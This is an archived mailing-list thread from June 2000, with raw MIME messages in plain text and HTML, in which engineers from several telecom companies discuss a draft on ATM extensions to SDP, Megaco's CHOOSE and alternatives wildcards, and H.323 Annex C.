Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA20071
	for <confctrl@zephyr.isi.edu>; Wed, 14 Jun 2000 09:10:31 -0700 (PDT)
Received: from rambo.globespan.net (p1.globespan.net [209.191.59.250])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id JAA07289
	for <confctrl@isi.edu>; Wed, 14 Jun 2000 09:11:01 -0700 (PDT)
Received: by rambo.globespan.net with Internet Mail Service (5.5.2650.21)
	id <M8JFXQ8G>; Wed, 14 Jun 2000 12:10:05 -0400
Message-ID: <4D0A8ECBDC8AD211BD0900A0C9EBC13301C23D12@rambo.globespan.net>
From: Helpdesk MIS <AdminLogs@globespan.net>
To: "'Rajesh Kumar'" <rkumar@cisco.com>, ISC_DeviceControl@inventures.com,
        confctrl@ISI.EDU
Cc: atmsdp@eng.fore.com, mmostafa@cisco.com, hisham@cisco.com,
        rizvan@cisco.com, rbiskner@cisco.com, joestone@cisco.com,
        skaria@cisco.com
Subject: RE: ATM SDP draft 0.03
Date: Wed, 14 Jun 2000 12:10:04 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01BFD61B.0033084E"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BFD61B.0033084E
Content-Type: text/plain;
	charset="iso-8859-1"


>From ; Tom-PT Taylor 

 For your information, Rajesh, the IETF supplies a Word template at 
  http://www.ietf.org/internet-drafts/Internet_Draft_Template.doc
<http://www.ietf.org/internet-drafts/Internet_Draft_Template.doc>  

You print the resulting document to file using the "generic text printer"
driver, then run it through the supplied DOS executable crlf.exe to make
sure every CR is paired with a LF.

Brian explained most of what Megaco offers in the MGC->MG direction.  We can
also use inequality constraints on numerical values.  This should probably
save a lot of repeated session descriptions when we want to have MGC-MG
negotiation at the detailed parameter level.

	-----Original Message----- 
From:   Rajesh Kumar [SMTP:rkumar@cisco.com] 
Sent:   Monday, June 12, 2000 5:43 PM 
To:     ISC_DeviceControl@inventures.com; confctrl@ISI.EDU 
Cc:     atmsdp@eng.fore.com; mmostafa@cisco.com; hisham@cisco.com;
rizvan@cisco.com; rbiskner@cisco.com; joestone@cisco.com; skaria@cisco.com

	Subject:        ATM SDP draft 0.03 

	Team,
Attached is an updated version (0.03) of the ATM SDP draft. It has all your
comments
factored in (and I mean all of them :-)

The document is missing page numbers, which will not be added until the IETF
submission
draft (0.04). Since I do not know of a good way to convert word processor
files into
plain text, I am editing a plain text document and I need to insert Page #s,
formatting
etc. manually.

I plan to issue another draft following your next round of comments. This
next
draft (0.04) will be presented to the IETF with (possible) final call at the
Pittsburgh meeting. Since I need to generate and submit the next draft
(0.04) by
the IETF cut-off date of July 10, I would appreciate your prompt review of
the
attached document.

I have not been able to comprehend the following statement in the Megaco
draft about
SDP. Could some one explain to me what it means in the context of the
attached SDP
document? My view is that the "$" wildcard in SDP is equivalent to the
"choose" wildcard
in Megaco. Also, there is no need for the violate SDP syntax in my opinion
(contrary to
what Megaco says):

   "In session descriptions sent from the MGC to the MG, the following
exceptions to the    
    syntax of RFC 2327 are allowed:

   . the use of CHOOSE is allowed in place of a single parameter value,and
   . the use of alternatives is allowed in place of a single parameter
value."

Also, I feel that the decibel range allowed for inserted loss in the Megaco
draft is absurdly large (who needs to insert a loss of 65,535 dB? !!)
 << File: ATMsdpWorkingDraft03.txt >>  << File: atmsdpWorkDraft0.03.pdf >>
<< Message:  >> 


------_=_NextPart_001_01BFD61B.0033084E
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<TITLE>RE: ATM SDP draft 0.03</TITLE>

<META content="MSHTML 5.00.2920.0" name=GENERATOR></HEAD>
<BODY>
<P><BR><FONT size=2><FONT color=#0000ff><FONT face=Arial><SPAN 
class=372271116-14062000>From ; Tom-PT 
Taylor&nbsp;</SPAN></FONT></FONT></FONT></P>
<P><FONT size=2><FONT color=#0000ff><FONT face=Arial><SPAN 
class=372271116-14062000>&nbsp;</SPAN>For your information, Rajesh, the IETF 
supplies a Word template at</FONT></FONT></FONT> <BR><FONT color=#0000ff 
face=Arial size=2><U>&nbsp;<A 
href="http://www.ietf.org/internet-drafts/Internet_Draft_Template.doc" 
target=_blank>http://www.ietf.org/internet-drafts/Internet_Draft_Template.doc</A></U></FONT> 
</P>
<P><FONT color=#0000ff face=Arial size=2>You print the resulting document to 
file using the "generic text printer" driver, then run it through the supplied 
DOS executable crlf.exe to make sure every CR is paired with a LF.</FONT></P>
<P><FONT color=#0000ff face=Arial size=2>Brian explained most of what Megaco 
offers in the MGC-&gt;MG direction.&nbsp; We can also use inequality constraints 
on numerical values.&nbsp; This should probably save a lot of repeated session 
descriptions when we want to have MGC-MG negotiation at the detailed parameter 
level.</FONT></P>
<UL>
  <P><FONT face=Arial size=1>-----Original Message-----</FONT> <BR><B><FONT 
  face=Arial size=1>From:&nbsp;&nbsp;</FONT></B> <FONT face=Arial size=1>Rajesh 
  Kumar [SMTP:rkumar@cisco.com]</FONT> <BR><B><FONT face=Arial 
  size=1>Sent:&nbsp;&nbsp;</FONT></B> <FONT face=Arial size=1>Monday, June 12, 
  2000 5:43 PM</FONT> <BR><B><FONT face=Arial 
  size=1>To:&nbsp;&nbsp;&nbsp;&nbsp;</FONT></B> <FONT face=Arial 
  size=1>ISC_DeviceControl@inventures.com; confctrl@ISI.EDU</FONT> <BR><B><FONT 
  face=Arial size=1>Cc:&nbsp;&nbsp;&nbsp;&nbsp;</FONT></B> <FONT face=Arial 
  size=1>atmsdp@eng.fore.com; mmostafa@cisco.com; hisham@cisco.com; 
  rizvan@cisco.com; rbiskner@cisco.com; joestone@cisco.com; 
  skaria@cisco.com</FONT></P>
  <P><B><FONT face=Arial 
  size=1>Subject:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</FONT></B> <FONT 
  face=Arial size=1>ATM SDP draft 0.03</FONT> </P>
  <P><FONT color=#0000ff face=Arial>Team,<BR>Attached is an updated version 
  (0.03) of the ATM SDP draft. It has all your comments<BR>factored in (and I 
  mean all of them :-)<BR><BR>The document is missing page numbers, which will 
  not be added until the IETF submission<BR>draft (0.04). Since I do not know of 
  a good way to convert word processor files into<BR>plain text, I am editing a 
  plain text document and I need to insert Page #s, formatting<BR>etc. 
  manually.<BR><BR>I plan to issue another draft following your next round of 
  comments. This next<BR>draft (0.04) will be presented to the IETF with 
  (possible) final call at the<BR>Pittsburgh meeting. Since I need to generate 
  and submit the next draft (0.04) by<BR>the IETF cut-off date of July 10, I 
  would appreciate your prompt review of the<BR>attached document.<BR><BR>I have 
  not been able to comprehend the following statement in the Megaco draft 
  about<BR>SDP. Could some one explain to me what it means in the context of the 
  attached SDP<BR>document? My view is that the "$" wildcard in SDP is 
  equivalent to the "choose" wildcard<BR>in Megaco. Also, there is no need for 
  the violate SDP syntax in my opinion (contrary to<BR>what Megaco 
  says):<BR><BR></FONT><I><FONT color=#ff0000 face=Arial>&nbsp;&nbsp; "In 
  session descriptions sent from the MGC to the MG, the following exceptions to 
  the&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp; syntax of RFC 2327 are 
  allowed:<BR><BR>&nbsp;&nbsp; . the use of CHOOSE is allowed in place of a 
  single parameter value,and<BR>&nbsp;&nbsp; . the use of alternatives is 
  allowed in place of a single parameter value."<BR><BR></FONT></I><FONT 
  color=#0000ff face=Arial>Also, I feel that the decibel range allowed for 
  inserted loss in the Megaco draft is absurdly large (who needs to insert a 
  loss of 65,535 dB? !!)<BR></FONT><FONT face=Arial>&nbsp;&lt;&lt; File: 
  ATMsdpWorkingDraft03.txt &gt;&gt;&nbsp; &lt;&lt; File: atmsdpWorkDraft0.03.pdf 
  &gt;&gt;&nbsp; &lt;&lt; Message:&nbsp; &gt;&gt; </FONT></P></UL></BODY></HTML>

------_=_NextPart_001_01BFD61B.0033084E--

From confctrl-owner  Wed Jun 14 09:23:59 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id JAA21144
	for confctrl-outgoing; Wed, 14 Jun 2000 09:23:59 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA21139
	for <confctrl@zephyr.isi.edu>; Wed, 14 Jun 2000 09:23:58 -0700 (PDT)
Received: from mailgate.pit.comms.marconi.com (mailgate.pit.comms.marconi.com [169.144.68.6])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id JAA08065
	for <confctrl@isi.edu>; Wed, 14 Jun 2000 09:24:29 -0700 (PDT)
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id MAA23152;
	Wed, 14 Jun 2000 12:23:06 -0400 (EDT)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id MAA12363;
	Wed, 14 Jun 2000 12:23:07 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21)
	id <MR1YSQ3Z>; Wed, 14 Jun 2000 12:23:07 -0400
Message-ID: <9523A991F7AED311A8B900508B6701F4378732@dl-msgusr-01.eu.fore.com>
From: "Mackey, Michael" <Michael.Mackey@marconi.com>
To: "Rosen, Brian" <Brian.Rosen@marconi.com>,
        "'Rajesh Kumar'"
	 <rkumar@cisco.com>,
        ISC_DeviceControl@inventures.com, confctrl@ISI.EDU
Cc: atmsdp@eng.fore.com, mmostafa@cisco.com, hisham@cisco.com,
        rizvan@cisco.com, rbiskner@cisco.com, joestone@cisco.com,
        skaria@cisco.com, "Shanahan,Tim" <Tim.Shanahan@marconi.com>,
        "flynn, martin" <Martin.Flynn@marconi.com>
Subject: RE: ATM SDP draft 0.03
Date: Wed, 14 Jun 2000 12:21:39 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01BFD61C.D28A7682"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BFD61C.D28A7682
Content-Type: text/plain;
	charset="ISO-8859-1"

I'm new to this list so the usual disclaimer but am I right in thinking that
this document is purely for using sdp to control an ATM gateway in a VTOA
case. Has anyone thought about VoIP e.g Annex C ?
 
  "Although   RTP encapsulation defined in rfc1889 is not used, the
   payload type variables are used exactly as defined in rfc1890.
   Hence, the protocols used for VoAAL1 and VoAAL5 are identified as
   AAL1/AVP and AAL5/AVP in the media information line."
 
 
Michael Mackey,
Marconi Communications,
Tel: +353 1 2804533
- www.marconi.com <http://www.marconi.com/>  -

-----Original Message-----
From: Rosen, Brian 
Sent: Monday, June 12, 2000 10:53 PM
To: 'Rajesh Kumar'; ISC_DeviceControl@inventures.com; confctrl@isi.edu
Cc: atmsdp@eng.fore.com; mmostafa@cisco.com; hisham@cisco.com;
rizvan@cisco.com; rbiskner@cisco.com; joestone@cisco.com; skaria@cisco.com
Subject: RE: ATM SDP draft 0.03


I'll look closely at the draft over the next several days.
 
In Megaco, we use SDP much more intensively for configuration negotiation.
To support this,
the MGC (call agent) can send a partially specified SDP to the MG (gateway).
When it encounters this, the MG can select any value it can
support.  The fully specified SDP is then returned to the MGC.
 
There are two ways to "underspecify".  One is CHOOSE ($).  This
is the same as MGCP - it means you may pick any value you can support.
The other is "alternatives", which are coded like {1,2,3}.  This means
choose any of the listed alternatives you can support.
 
The dB range is due to the equivalent in "native" annex C, which supports
a 16 bit value.   Overkill, most definitely.
 
Brian

-----Original Message-----
From: Rajesh Kumar [mailto:rkumar@cisco.com]
Sent: Monday, June 12, 2000 5:43 PM
To: ISC_DeviceControl@inventures.com; confctrl@isi.edu
Cc: atmsdp@eng.fore.com; mmostafa@cisco.com; hisham@cisco.com;
rizvan@cisco.com; rbiskner@cisco.com; joestone@cisco.com; skaria@cisco.com
Subject: ATM SDP draft 0.03


Team,
Attached is an updated version (0.03) of the ATM SDP draft. It has all your
comments
factored in (and I mean all of them :-)

The document is missing page numbers, which will not be added until the IETF
submission
draft (0.04). Since I do not know of a good way to convert word processor
files into
plain text, I am editing a plain text document and I need to insert Page #s,
formatting
etc. manually.

I plan to issue another draft following your next round of comments. This
next
draft (0.04) will be presented to the IETF with (possible) final call at the
Pittsburgh meeting. Since I need to generate and submit the next draft
(0.04) by
the IETF cut-off date of July 10, I would appreciate your prompt review of
the
attached document.

I have not been able to comprehend the following statement in the Megaco
draft about
SDP. Could some one explain to me what it means in the context of the
attached SDP 
document? My view is that the "$" wildcard in SDP is equivalent to the
"choose" wildcard
in Megaco. Also, there is no need for the violate SDP syntax in my opinion
(contrary to
what Megaco says):

   "In session descriptions sent from the MGC to the MG, the following
exceptions to the     
    syntax of RFC 2327 are allowed:

   . the use of CHOOSE is allowed in place of a single parameter value,and
   . the use of alternatives is allowed in place of a single parameter
value."

Also, I feel that the decibel range allowed for inserted loss in the Megaco
draft is absurdly large (who needs to insert a loss of 65,535 dB? !!)



------_=_NextPart_001_01BFD61C.D28A7682
Content-Type: text/html;
	charset="ISO-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=ISO-8859-1">


<META content="MSHTML 5.00.2919.6307" name=GENERATOR></HEAD>
<BODY>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=576141416-14062000>I'm 
new to this list so the usual disclaimer but am I right in thinking that this 
document is purely for using sdp to control an ATM gateway in a VTOA case. Has 
anyone thought about VoIP e.g Annex C ?</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=576141416-14062000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=576141416-14062000>&nbsp;&nbsp;"Although&nbsp;&nbsp; RTP encapsulation 
defined in rfc1889 is not used, the<BR>&nbsp;&nbsp; payload type variables are 
used exactly as defined in rfc1890.<BR>&nbsp;&nbsp; Hence, the protocols used 
for VoAAL1 and VoAAL5 are identified as<BR>&nbsp;&nbsp; AAL1/AVP and AAL5/AVP in 
the media information line."</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=576141416-14062000></SPAN></FONT>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV><EM><STRONG><FONT face=Arial size=2>Michael 
Mackey,</FONT></STRONG></EM></DIV>
<DIV><EM><STRONG><FONT face=Arial size=2>Marconi 
Communications,</FONT></STRONG></EM></DIV>
<DIV><FONT face=Arial size=2><STRONG><EM>Tel: +353 1 
2804533</EM></STRONG></FONT></DIV>
<DIV><FONT face=Arial size=2><STRONG><EM>- <A 
href="http://www.marconi.com/">www.marconi.com</A> -</EM></STRONG></FONT></DIV>
<BLOCKQUOTE 
style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px">
  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma 
  size=2>-----Original Message-----<BR><B>From:</B> Rosen, Brian 
  <BR><B>Sent:</B> Monday, June 12, 2000 10:53 PM<BR><B>To:</B> 'Rajesh Kumar'; 
  ISC_DeviceControl@inventures.com; confctrl@isi.edu<BR><B>Cc:</B> 
  atmsdp@eng.fore.com; mmostafa@cisco.com; hisham@cisco.com; rizvan@cisco.com; 
  rbiskner@cisco.com; joestone@cisco.com; skaria@cisco.com<BR><B>Subject:</B> 
  RE: ATM SDP draft 0.03<BR><BR></DIV></FONT>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=640474621-12062000>I'll 
  look closely at the draft over the next several days.</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=640474621-12062000></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=640474621-12062000>In 
  Megaco, we use SDP much more intensively for configuration negotiation.&nbsp; 
  To support this,</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=640474621-12062000>the 
  MGC (call agent) can send a partially specified SDP to the MG 
  (gateway).</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=640474621-12062000></SPAN></FONT><FONT color=#0000ff face=Arial 
  size=2><SPAN class=640474621-12062000>When it encounters this, the MG can 
  select any value it can</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=640474621-12062000>support.&nbsp; The fully specified SDP is then 
  returned to the MGC.</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=640474621-12062000></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=640474621-12062000>There are two ways to "underspecify".&nbsp; One is 
  CHOOSE ($).&nbsp; This</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=640474621-12062000>is 
  the same as MGCP - it means you may pick any value you can 
  support.</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=640474621-12062000>The 
  other is "alternatives", which are coded like {1,2,3}.&nbsp; This 
  means</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=640474621-12062000>choose any of the listed alternatives you can 
  support.</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=640474621-12062000></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=640474621-12062000>The 
  dB range is due to the equivalent in "native" annex C, which 
  supports</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=640474621-12062000>a 16 
  bit value.&nbsp;&nbsp; Overkill, most definitely.</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=640474621-12062000></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=640474621-12062000>Brian</SPAN></FONT></DIV>
  <BLOCKQUOTE 
  style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; PADDING-LEFT: 5px">
    <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma 
    size=2>-----Original Message-----<BR><B>From:</B> Rajesh Kumar 
    [mailto:rkumar@cisco.com]<BR><B>Sent:</B> Monday, June 12, 2000 5:43 
    PM<BR><B>To:</B> ISC_DeviceControl@inventures.com; 
    confctrl@isi.edu<BR><B>Cc:</B> atmsdp@eng.fore.com; mmostafa@cisco.com; 
    hisham@cisco.com; rizvan@cisco.com; rbiskner@cisco.com; joestone@cisco.com; 
    skaria@cisco.com<BR><B>Subject:</B> ATM SDP draft 
    0.03<BR><BR></DIV></FONT><FONT color=#0000ff>Team,<BR>Attached is an updated 
    version (0.03) of the ATM SDP draft. It has all your comments<BR>factored in 
    (and I mean all of them :-)<BR><BR>The document is missing page numbers, 
    which will not be added until the IETF submission<BR>draft (0.04). Since I 
    do not know of a good way to convert word processor files into<BR>plain 
    text, I am editing a plain text document and I need to insert Page #s, 
    formatting<BR>etc. manually.<BR><BR>I plan to issue another draft following 
    your next round of comments. This next<BR>draft (0.04) will be presented to 
    the IETF with (possible) final call at the<BR>Pittsburgh meeting. Since I 
    need to generate and submit the next draft (0.04) by<BR>the IETF cut-off 
    date of July 10, I would appreciate your prompt review of the<BR>attached 
    document.<BR><BR>I have not been able to comprehend the following statement 
    in the Megaco draft about<BR>SDP. Could some one explain to me what it means 
    in the context of the attached SDP <BR>document? My view is that the "$" 
    wildcard in SDP is equivalent to the "choose" wildcard<BR>in Megaco. Also, 
    there is no need for the violate SDP syntax in my opinion (contrary 
    to<BR>what Megaco says):<BR><BR></FONT><FONT color=#ff0000><I>&nbsp;&nbsp; 
    "In session descriptions sent from the MGC to the MG, the following 
    exceptions to the&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; syntax of 
    RFC 2327 are allowed:<BR><BR>&nbsp;&nbsp; . the use of CHOOSE is allowed in 
    place of a single parameter value,and<BR>&nbsp;&nbsp; . the use of 
    alternatives is allowed in place of a single parameter 
    value."<BR><BR></FONT></I><FONT color=#0000ff>Also, I feel that the decibel 
    range allowed for inserted loss in the Megaco draft is absurdly large (who 
    needs to insert a loss of 65,535 dB? 
!!)<BR></BLOCKQUOTE></BLOCKQUOTE></FONT></BODY></HTML>

------_=_NextPart_001_01BFD61C.D28A7682--

From confctrl-owner  Wed Jun 14 16:45:18 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id QAA24986
	for confctrl-outgoing; Wed, 14 Jun 2000 16:45:18 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id QAA24981
	for <confctrl@zephyr.isi.edu>; Wed, 14 Jun 2000 16:45:17 -0700 (PDT)
Received: from farley.cisco.com (farley.cisco.com [171.71.153.30])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id QAA29630
	for <confctrl@isi.edu>; Wed, 14 Jun 2000 16:45:48 -0700 (PDT)
Received: from rkumar-ntl ([144.254.252.22])
	by farley.cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) with SMTP id QAA02754;
	Wed, 14 Jun 2000 16:45:26 -0700 (PDT)
Message-Id: <4.1.20000614164212.03336160@wanbu-mail.cisco.com>
X-Sender: rkumar@wanbu-mail.cisco.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 
Date: Wed, 14 Jun 2000 16:49:53 -0700
To: "Mackey, Michael" <Michael.Mackey@marconi.com>,
        "Rosen, Brian" <Brian.Rosen@marconi.com>,
        ISC_DeviceControl@inventures.com, confctrl@ISI.EDU
From: Rajesh Kumar <rkumar@cisco.com>
Subject: RE: ATM SDP draft 0.03
Cc: atmsdp@eng.fore.com, mmostafa@cisco.com, hisham@cisco.com,
        rizvan@cisco.com, rbiskner@cisco.com, joestone@cisco.com,
        skaria@cisco.com, "Shanahan,Tim" <Tim.Shanahan@marconi.com>,
        "flynn, martin" <Martin.Flynn@marconi.com>
In-Reply-To: <9523A991F7AED311A8B900508B6701F4378732@dl-msgusr-01.eu.for
 e.com>
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_89589843==_.ALT"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--=====================_89589843==_.ALT
Content-Type: text/plain; charset="us-ascii"

At 12:21 PM 6/14/00 -0400, Mackey, Michael wrote: 
>
> I'm new to this list so the usual disclaimer but am I right in thinking that
> this document is purely for using sdp to control an ATM gateway in a VTOA
> case. Has anyone thought about VoIP e.g Annex C ?
>  
>   "Although   RTP encapsulation defined in rfc1889 is not used, the
>    payload type variables are used exactly as defined in rfc1890.
>    Hence, the protocols used for VoAAL1 and VoAAL5 are identified as
>    AAL1/AVP and AAL5/AVP in the media information line."



Michael, VoIP is addressed by rfc2327 (SDP), h.248/megaco, MGCP etc. Everything
is first done for VoIP and then adapted to VoATM. It is VoATM, not VoIP, that
is the step-child of packet telephony.

Having said that, Annex C of H.323 is not VoIP. It is RTP on raw AAL5 with no
intervening IP layer. It does include interoperability with VoIP.

Yes, we have addressed Annex C of H.323 in the SDP extensions document (0.03
revision) that I sent out last week. Please review the parameters therein
against Annex C of H.323 and let me know if I have missed something. The intent
is go attempt to go to standards track in the July Pittsbutgh IETF.

Rajesh



>
>  
>  
> Michael Mackey,
> Marconi Communications,
> Tel: +353 1 2804533
> - <http://www.marconi.com/>www.marconi.com -
>>
>> -----Original Message-----
>> From: Rosen, Brian 
>> Sent: Monday, June 12, 2000 10:53 PM
>> To: 'Rajesh Kumar'; ISC_DeviceControl@inventures.com; confctrl@isi.edu
>> Cc: atmsdp@eng.fore.com; mmostafa@cisco.com; hisham@cisco.com;
>> rizvan@cisco.com; rbiskner@cisco.com; joestone@cisco.com; skaria@cisco.com
>> Subject: RE: ATM SDP draft 0.03
>>
>> I'll look closely at the draft over the next several days.
>>  
>> In Megaco, we use SDP much more intensively for configuration negotiation. 
>> To support this,
>> the MGC (call agent) can send a partially specified SDP to the MG (gateway).
>> When it encounters this, the MG can select any value it can
>> support.  The fully specified SDP is then returned to the MGC.
>>  
>> There are two ways to "underspecify".  One is CHOOSE ($).  This
>> is the same as MGCP - it means you may pick any value you can support.
>> The other is "alternatives", which are coded like {1,2,3}.  This means
>> choose any of the listed alternatives you can support.
>>  
>> The dB range is due to the equivalent in "native" annex C, which supports
>> a 16 bit value.   Overkill, most definitely.
>>  
>> Brian
>>>
>>> -----Original Message-----
>>> From: Rajesh Kumar [mailto:rkumar@cisco.com]
>>> Sent: Monday, June 12, 2000 5:43 PM
>>> To: ISC_DeviceControl@inventures.com; confctrl@isi.edu
>>> Cc: atmsdp@eng.fore.com; mmostafa@cisco.com; hisham@cisco.com;
>>> rizvan@cisco.com; rbiskner@cisco.com; joestone@cisco.com; skaria@cisco.com
>>> Subject: ATM SDP draft 0.03
>>>
>>> Team,
>>> Attached is an updated version (0.03) of the ATM SDP draft. It has all your
>>> comments
>>> factored in (and I mean all of them :-)
>>>
>>> The document is missing page numbers, which will not be added until the
>>> IETF submission
>>> draft (0.04). Since I do not know of a good way to convert word processor
>>> files into
>>> plain text, I am editing a plain text document and I need to insert Page
>>> #s, formatting
>>> etc. manually.
>>>
>>> I plan to issue another draft following your next round of comments. This
>>> next
>>> draft (0.04) will be presented to the IETF with (possible) final call at
>>> the
>>> Pittsburgh meeting. Since I need to generate and submit the next draft
>>> (0.04) by
>>> the IETF cut-off date of July 10, I would appreciate your prompt review of
>>> the
>>> attached document.
>>>
>>> I have not been able to comprehend the following statement in the Megaco
>>> draft about
>>> SDP. Could some one explain to me what it means in the context of the
>>> attached SDP 
>>> document? My view is that the "$" wildcard in SDP is equivalent to the
>>> "choose" wildcard
>>> in Megaco. Also, there is no need for the violate SDP syntax in my opinion
>>> (contrary to
>>> what Megaco says):
>>>
>>>    "In session descriptions sent from the MGC to the MG, the following
>>> exceptions to the     
>>>     syntax of RFC 2327 are allowed:
>>>
>>>    . the use of CHOOSE is allowed in place of a single parameter value,and
>>>    . the use of alternatives is allowed in place of a single parameter
>>> value."
>>>
>>> Also, I feel that the decibel range allowed for inserted loss in the Megaco
>>> draft is absurdly large (who needs to insert a loss of 65,535 dB? !!)
>>
>



+++++++++++++++++++++++++++++
Rajesh Kumar         
 rkumar@cisco.com                 
408 527 0811                
Carrier Packet Voice
Cisco Systems, 
San Jose, California
+++++++++++++++++++++++++++++
 

--=====================_89589843==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
At 12:21 PM 6/14/00 -0400, Mackey, Michael wrote: <br>
<font face="arial" size=2 color="#0000FF"><blockquote type=cite cite>I'm
new to this list so the usual disclaimer but am I right in thinking that
this document is purely for using sdp to control an ATM gateway in a VTOA
case. Has anyone thought about VoIP e.g Annex C ?</font><br>
&nbsp;<br>
<font face="arial" size=2 color="#0000FF">&nbsp;
&quot;Although&nbsp;&nbsp; RTP encapsulation defined in rfc1889 is not
used, the<br>
&nbsp;&nbsp; payload type variables are used exactly as defined in
rfc1890.<br>
&nbsp;&nbsp; Hence, the protocols used for VoAAL1 and VoAAL5 are
identified as<br>
&nbsp;&nbsp; AAL1/AVP and AAL5/AVP in the media information
line.&quot;</font></blockquote><br>
<br>
<font color="#FF0000"><b><i>Michael, VoIP is addressed by rfc2327 (SDP),
h.248/megaco, MGCP etc. Everything is first done for VoIP and then
adapted to VoATM. It is VoATM, not VoIP, that is the step-child of packet
telephony.<br>
<br>
Having said that, Annex C of H.323 is not VoIP. It is RTP on raw AAL5
with no intervening IP layer. It does include interoperability with
VoIP.<br>
<br>
Yes, we have addressed Annex C of H.323 in the SDP extensions document
(0.03 revision) that I sent out last week. Please review the parameters
therein against Annex C of H.323 and let me know if I have missed
something. The intent is go attempt to go to standards track in the July
Pittsbutgh IETF.<br>
<br>
Rajesh<br>
<br>
<br>
<br>
</font></b></i><blockquote type=cite cite>&nbsp;<br>
&nbsp;<br>
<font face="arial" size=2><b><i>Michael Mackey,</font></b></i><br>
Marconi Communications,</b></i><br>
Tel: +353 1 2804533</b></i><br>
- <a href="http://www.marconi.com/">www.marconi.com</a> -</b></i><br>
</b></i><font face="tahoma" size=2><blockquote type=cite cite>-----Original
Message-----<br>
<b>From:</b> Rosen, Brian <br>
<b>Sent:</b> Monday, June 12, 2000 10:53 PM<br>
<b>To:</b> 'Rajesh Kumar'; ISC_DeviceControl@inventures.com;
confctrl@isi.edu<br>
<b>Cc:</b> atmsdp@eng.fore.com; mmostafa@cisco.com; hisham@cisco.com;
rizvan@cisco.com; rbiskner@cisco.com; joestone@cisco.com;
skaria@cisco.com<br>
<b>Subject:</b> RE: ATM SDP draft 0.03<br>
<br>
</font><font face="arial" size=2 color="#0000FF">I'll look closely at the
draft over the next several days.</font><br>
&nbsp;<br>
